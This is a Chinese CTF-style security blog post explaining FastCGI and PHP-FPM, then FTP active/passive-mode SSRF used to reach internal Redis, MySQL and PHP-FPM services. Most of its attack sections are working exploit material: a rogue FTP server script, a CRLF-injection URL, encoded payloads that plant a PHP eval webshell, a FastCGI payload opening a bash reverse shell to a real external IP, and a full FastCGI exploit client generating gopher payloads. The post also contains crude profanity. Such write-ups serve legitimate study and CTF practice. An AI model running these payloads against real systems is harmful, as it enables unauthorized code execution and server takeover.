参考文章:
前言 感觉都是被大牛们玩腻了的东西,但可惜我学的晚,来补补。FTP这块之前一直搁着
一、认识PHP-FPM和Nginx(FastCGI) (1)基本认识 PHP-FPM(FastCGI Process Manager)是一种为 PHP 解释器提供进程管理和处理能力的工具。它是 PHP FastCGI 协议的一个实现,通过将 PHP 进程管理和请求处理分离,提供了更高的性能和可扩展性。 那啥是FastCGI呢?
FastCGI(Fast Common Gateway Interface)是一种通信协议,用于在 Web 服务器和应用程序之间进行交互。它是对传统 CGI(Common Gateway Interface)协议的改进和扩展,旨在提高性能和可扩展性。 传统的 CGI 协议每次处理请求时都会创建一个新的进程或线程来执行脚本,并在处理完请求后终止进程或线程,这样会导致频繁的进程创建和销毁开销,影响性能。而 FastCGI 协议通过引入进程池的概念和持久连接,允许服务器与应用程序保持长时间的连接,重复使用已创建的进程或线程,从而减少了进程创建和销毁的开销。
FastCGI 协议的工作方式如下:
Web 服务器与 FastCGI 进程管理器(如 PHP-FPM)建立持久连接。
当有请求到达时,Web 服务器将请求信息传递给 FastCGI 进程管理器。
FastCGI 进程管理器根据配置选择一个空闲的进程或线程来处理请求。
选中的进程或线程使用 FastCGI 协议接收请求,并执行相应的脚本或应用程序。
处理完请求后,进程或线程将响应发送回 FastCGI 进程管理器。
FastCGI 进程管理器将响应返回给 Web 服务器,并保持连接以供后续请求重用。
FastCGI 协议的优点在于它能够重用进程或线程,减少了频繁创建和销毁的开销,提高了服务器的性能和并发处理能力。它还支持并发处理多个请求,可以在同一时间处理多个请求,提高了系统的吞吐量。FastCGI 协议被广泛用于各种 Web 应用程序和服务器环境中,如 PHP、Python、Ruby 等。 说的通俗一点,当用户在浏览器中访问一个网页时,服务器需要处理用户的请求并返回相应的内容。传统的 CGI 协议在每次请求时都需要创建一个新的处理进程,处理完后再销毁进程,这样会导致性能低下。 FastCGI 协议解决了这个问题。它引入了一个进程池的概念,服务器在启动时创建一组进程或线程,并保持它们一直运行。当用户发送请求时,服务器选择一个空闲的进程或线程来处理请求,而不是每次都创建一个新的进程。 然后悄咪咪的偷一张图
(2)TCP/Unix通信 TCP: TCP模式即是php-fpm进程会监听本机上的一个端口(默认9000),然后nginx会把客户端数据通过fastcgi协议传给9000端口,php-fpm拿到数据后会调用cgi进程解析。 它允许通过网络进程之间的通信,也可以通过loopback进行本地进程之间通信。
1 2 3 4 5 6 7 8 location ~ [^/]\.php(/|$) { try_files $uri =404; fastcgi_pass 127.0.0.1:9000; // 修改这里,指定fastcgi在127.0.0.1的9000端口 fastcgi_index index.php; include fastcgi.conf; include pathinfo.conf; }
Unix: unix socket其实严格意义上应该叫unix domain socket,它是unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。 具体原理这里就不讲了,但是此通信方式的性能会优于TCP 它允许在本地运行的进程之间进行通信。
1 2 3 4 5 6 7 8 location ~ [^/]\.php(/|$) { try_files $uri =404; fastcgi_pass unix:/tmp/php-cgi-74.sock; fastcgi_index index.php; include fastcgi.conf; include pathinfo.conf; }
二、FastCGI协议分析 和HTTP协议一样,FASTCGI也有对应的协议,并且也有请求头和请求体之分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
头由八个char type组成,语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。
(1)Type 上述type类型并未说明是什么,偷了一张图。 感觉和TCP的握手包有点像(本来就是TCP 那么我们可以理清楚顺序了,首先是问候报文就是1,后续发送4、5、6、7进行交流,结束的时候发送2、3表示终止对话。 并且当后端语言解析到type为4的类型时,就会把这个record的body按照对应的结构解析为对应的键值对,这个叫做环境变量。如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength]; unsigned char valueData[valueLength]; } FCGI_NameValuePair11; typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair14; typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength]; } FCGI_NameValuePair41; typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair44;
这里有四个结构,有如下规则
key、value均小于128字节,用 FCGI_NameValuePair11
key大于128字节,value小于128字节,用 FCGI_NameValuePair41
key小于128字节,value大于128字节,用 FCGI_NameValuePair14
key、value均大于128字节,用 FCGI_NameValuePair44
三、PHP-FPM解析 大家都知道$_SERVER
这个变量 用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
四、FTP主/被动模式SSRF (1)主动模式攻击server 这里ftp服务器我们使用如下脚本去搭建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pyftpdlib.authorizers import DummyAuthorizerfrom pyftpdlib.handlers import FTPHandlerfrom pyftpdlib.servers import FTPServerauthorizer = DummyAuthorizer() authorizer.add_user("fan" , "root" , "." ,perm="elrafmwMT" ) authorizer.add_anonymous("." ) handler = FTPHandler handler.permit_foreign_addresses = True handler.passive_ports = range (2000 , 2030 ) handler.authorizer = authorizer server = FTPServer(("0.0.0.0" , 8877 ), handler) server.serve_forever()
我们使用python里的urlopen去通过ftp协议获取ftp-server.py的内容:urlopen("ftp://fan:[email protected] :8877/ftp-server.py").read()
结果如上,可以清楚的看到ftp服务器的认证报文以及右侧的回显结果。
1 2 3 4 5 [I 2023-05-12 22:05:04] 127.0.0.1:44604-[] FTP session opened (connect) [I 2023-05-12 22:05:04] 127.0.0.1:44604-[fan] USER 'fan' logged in. [I 2023-05-12 22:05:04] 127.0.0.1:44604-[fan] CWD /opt 250 [I 2023-05-12 22:05:04] 127.0.0.1:44604-[fan] RETR /opt/ftp-server.py completed=1 bytes=591 seconds=0.0 [I 2023-05-12 22:05:04] 127.0.0.1:44604-[fan] FTP session closed (disconnect).
从这一段可以知道基本的认证流程
打开session
进行身份认证(检测name和pwd)
获取当前所在目录CWD
RETR表示返回的内容。(我们请求了ftp-server.py)
最后关闭session
其中后四步都是client发送给server的。所以很明显可以进行CRLF的注入,这也是SSRF的成因。 这边本地复现不了通过python实现CRLF注入,应该是后续在ftplib.py模块加上了一些东西。尝试了3个py版本都会抛出ValueError: an illegal newline character should not be contained
异常,说明urlopen里不能包含换行符。失败告终,不过不影响( 假如成功是可以出现如下内容的龟速填坑 一开始蠢到懒得去看源码,估计是21年后由于ftp的题目泛滥,人家直接给源码抛出了一个exception,因为源码原本长这样:
1 2 3 4 5 6 7 def putline (self, line ): if '\r' in line or '\n' in line: raise ValueError('an illegal newline character should not be contained' ) line = line + CRLF if self.debugging > 1 : print ('*put*' , self.sanitize(line)) self.sock.sendall(line.encode(self.encoding))
你可以看到exception底下就是line+CRLF,但是他在上面加了一个补丁。操你妈 所以我们假如想本地复现,需要把这个异常给他去掉。 服务器还是上述代码的,这次exp如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 import sysimport urllibimport urllib.errorimport sysimport urllib.requesturl='ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT 172,28,18,131,30,97\r\nRETR ftp-server.py\r\[email protected] :8877/ftp-server.py' try : info=urllib.request.urlopen(url).read() print (info) except urllib.error.URLError as e: print (e)
PORT 后两位数字是通过port {ip},{port // 256},{port - port // 256 * 256}
计算得来,可以参考这个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import urllib.requestdef get_port_cmd (host ): ip, port = host.split(':' ) ip = ',' .join(ip.split('.' )) port = int (port) return f'port {ip} ,{port // 256 } ,{port - port // 256 * 256 } ' if __name__ == '__main__' : target = '172.28.18.131:8877' commands = ['type i' , get_port_cmd(host='172.28.18.131:7777' ), 'retr slug01sh' ] commands_str = '\r\n' .join(commands) print (commands_str) commands_str = urllib.parse.quote(commands_str) url = 'ftp://fan:root@' +target+'/\r\n' +commands_str print (url)
运行之后我们可以得到如下结果 我们可以将他的数据发送到vps上,vps只需起一个监听即可。
(2)被动模式攻击clinet 被动模式经常出现在一些CTF题里面,这也是本文的重点。上文是让服务端重定向到我们的vps,这次我们需要让请求服务端的客户端重定向到客户端的内网,去攻击客户端的内网应用。这里就简单让client发送一段数据,如test到内网的某个端口上 实现这一点我们首先需要进行一些环境搭建
我们准备的php代码就一句话
1 <?php file_put_contents ($_POST ['filename' ], $_POST ['data' ]);?>
file_get_contents是从ftp下载文件
file_get_contents是上传文件到ftp服务器
那么我们的思路就是把恶意语句存到我们vps的一个服务器上,然后让client下载,在上传的时候我们恶意的ftp将其重定向到client的内网中,这样就完成了攻击。 我们的恶意ftp服务器代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' , 23 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n' ) conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close()
然后载荷payload为filename=ftp://[email protected] :8555/123&data=test
这样我们监听一下9000端口后就可以收到信息了。 还挺不错的
五、FTP被动模式攻击内网服务 (1)Redis 假如想打redis的话前提是做一下环境搭建,否则另说。我们需要的东西是
php-server(这里是php-8.2)
redis
gopherus/redis-crlf-payload
主要是搭redis可能会遇到点问题(一般都是这里出问题) test-checker检测正常,环境无误 那么进入实操环节,首先gopherus生成一下redis的payload,或者使用自己的py脚本生成都是可以的。 首先生成payload 然后打入data=%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A&filename=ftp://[email protected] :8555/123
可以看到成功写入shell。easy 这里需要注意一个问题就是redis的版本必须在7一下,在7以上的版本中开启了保护机制,即无法set dir,dir选项被保护了,我们无法getshell。所以现在redis也基本打不着了除了一些老版本,在实战中很难遇见
(2)Mysql 打mysql的话流程和redis是一样的
php-server(这里是php-8.2)
mysql
gopherus
准备数据库如上,需一个无密码的root用户,这样才可以进行ssrf,我们也是一样的流程。 首先gopherus生成一个gopher协议的payload,截取后面的部分gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4d%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%62%6f%6f%67%69%70%6f%70%2e%70%68%70%27%3b%01%00%00%00%01
截取下划线后半的部分,然后传参如上即可,本地由于版本太高没打通,思路是这样。现在找老版本的mysql太抽象了
(3)PHP-FPM 选择镜像
1 docker run -it -P 80 bitnami/php-fpm
运行之后环境就起来了。个屁。 废了九牛二虎之力搭好了环境。环境搭建如下,首先如上起一个容器,然后我们在容器中依次使用以下指令apt-get update&&apt-get install nginx
然后在/etc/nginx/nginx.conf中修改一下配置文件,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #user nobody; worker_processes 1; events { worker_connections 1024; } http { server { listen 0.0.0.0:80; server_name localhost; root /app; location / { try_files $uri $uri/index.php; } location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi.conf; } } }
然后你可以安装vim、netstat指令方便调试,分别用apt-get install vim&&apt-get install net-tools
进行安装即可 很玄学为什么shell直接断了? 排坑ing…………………… 我是傻逼,反弹shell断了的原因是我漏了<&1
,断了一个尾巴还弹牛魔呢。filename=ftp://[email protected] :8555/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%FC%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%0ESCRIPT_FILENAME/app/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/114.116.119.253/2333%20%3C%26%201%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
直接getshell 到这里有关FTP攻击内网服务的方式都实现完了,接下来我们着重讲一下PHP-FPM有关的攻击,这玩意儿攻击点很多。
六、PHP-FPM攻击 (1)PHP-FPM 未授权访问导致的RCE 这东西其实在CTF中见到的并不算多,因为直接攻击远程PHP-FPM需要9000端口暴露在外,但是实际是不会这样的。这里简单说一下思路 假如9000端口暴露在外,我们可以和PHP-FPM进行通信,那我们就可以构造FASTCGI的语言去和FPM交互,也就可以进行一些恶意操作 还记得文件上传中的.user.ini
里面的两个选项吗
auto_prepend_file:是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;
auto_prepend_file:是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;
然后上述讲协议的时候我们讲到了FASTCGI会解析为键值对。 而PHP-FPM环境变量里有2个选项可以用来设置PHP的配置(disable除外)
PHP_VALUE
PHP_ADMIN_VALUE
最后可以构造恶意数据包如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'GET' , 'SCRIPT_FILENAME' : '/var/www/html/index.php' , 'SCRIPT_NAME' : '/index.php' , 'QUERY_STRING' : '?a=1&b=2' , 'REQUEST_URI' : '/index.php?a=1&b=2' , 'DOCUMENT_ROOT' : '/var/www/html' , 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '12345' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' }
我们让自动包含东西为input协议并且开启url_include,这样就可以getshell了 这里给出P神的脚本https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
(2)SSRF 攻击 PHP-FPM SSRF的话首先包括上述说的FTP打PHP-FPM其实本质都是一样的,利用gopher或者ftp去和fpm通信去打,依然可以用p神脚本,改改就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 import socketimport randomimport argparseimport sysfrom io import BytesIOfrom six.moves.urllib import parse as urlparsePY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr (i)) else : return bytes ([i]) def bord (c ): if isinstance (c, int ): return c else : return ord (c) def force_bytes (s ): if isinstance (s, bytes ): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s ): if issubclass (type (s), str ): return s if isinstance (s, bytes ): s = str (s, 'utf-8' , 'strict' ) else : s = str (s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict () def __connect (self ): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int (self.port))) except socket.error as msg: self.sock.close() self.sock = None print (repr (msg)) return False def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len (content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len (name) vLen = len (value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict () header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int (self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int (record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int (record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): if not self.__connect(): print ('connect failure! please check your fasctcgi-server !!' ) return requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict () request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) return request def __waitForResponse (self, requestId ): data = b'' while True : buf = self.sock.recv(512 ) if not len (buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int (response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format (self.host, self.port) if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help ='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=9000 , type =int ) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict () documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len (content), 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } request_ssrf = urlparse.quote(client.request(params, content)) print ("gopher://127.0.0.1:" + str (args.port) + "/_" + request_ssrf)
改成gopher协议就好了 或者利用gopherus去打gopherus --exploit FASTCGI
即可
(3)PHP-FPM内存马 可以看看葵姐姐的文章https://amiaaaz.github.io/2022/09/13/php-fpm-mem-shell-study-notes/#php-fpm%E5%81%9A%E5%86%85%E5%AD%98%E9%A9%AC 这里说到了只需要换一下auto_prepend_file的内容为一个木马就可以拉~